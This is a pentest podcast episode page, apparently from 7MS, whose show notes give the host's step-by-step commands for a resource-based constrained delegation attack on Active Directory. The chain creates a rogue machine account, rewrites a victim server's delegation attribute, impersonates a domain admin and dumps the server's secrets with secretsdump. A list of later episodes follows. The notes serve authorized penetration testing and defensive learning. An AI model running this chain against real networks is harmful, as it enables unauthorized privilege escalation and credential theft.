7MS #521: Tales of Pentest Pwnage - Part 36

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Avsnitt(711)

7MS #711: How to Secure Your Community

7MS #711: How to Secure Your Community

Hello friends, it's good to be back with you.  I took a podcast hiatus in January to focus on helping communities affected by Operation Metro Surge.  Today I share how my family and community has been...

27 Feb 51min

7MS #710: I'm Taking a Break

7MS #710: I'm Taking a Break

Hi friends, I'm going to be taking a break from producing podcast episodes, as well as content over at 7MinSec.club.  It's a temporary break, so please don't unsubscribe, unfollow, etc.  I need some e...

17 Jan 4min

7MS #709: Second Impressions of Twingate

7MS #709: Second Impressions of Twingate

Hey friends, in episode #649 I gave you my first impressions of Twingate.  It's been a minute, so I thought I'd revisit Twingate (specifically this awesome Twingate LXC) and talk about how we're using...

10 Jan 20min

7MS #708: Tales of Pentest Fail – Part 6

7MS #708: Tales of Pentest Fail – Part 6

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2 Jan 25min

7MS #707: Our New Pentest Course Has Launched!

7MS #707: Our New Pentest Course Has Launched!

Today we're thrilled to announce the launch of LPLITE:GOAD (Light Pentest Live Interactive Training Experience: Game of Active Directory). The first class is coming up Tuesday, January 27 – Thursday, ...

26 Dec 202514min

7MS #706: Tales of Pentest Pwnage – Part 80

7MS #706: Tales of Pentest Pwnage – Part 80

I'm so excited to share today's tale of pentest pwnage, because it brings back to life a coercion technique I thought wouldn't work against Windows 11! Spoiler alert: check out rpc2efs, as well as the...

19 Dec 202529min

7MS #705: A Phishing Campaign Fail Tale

7MS #705: A Phishing Campaign Fail Tale

This might be obvious, but security is not all domain admin dancing and maximum pwnage. Sometimes, despite my best efforts, a security project does a faceplant. Today's episode focuses on a phishing c...

12 Dec 202521min

7MS #704: DIY Pentest Dropbox Tips – Part 12

7MS #704: DIY Pentest Dropbox Tips – Part 12

Hola friends!  My week has very much been about trying to turnaround pentest dropboxes as quickly as possible.  In that adventure, I came across two time-saving discoveries: Using a Proxmox LXC as a ...

5 Dec 202524min

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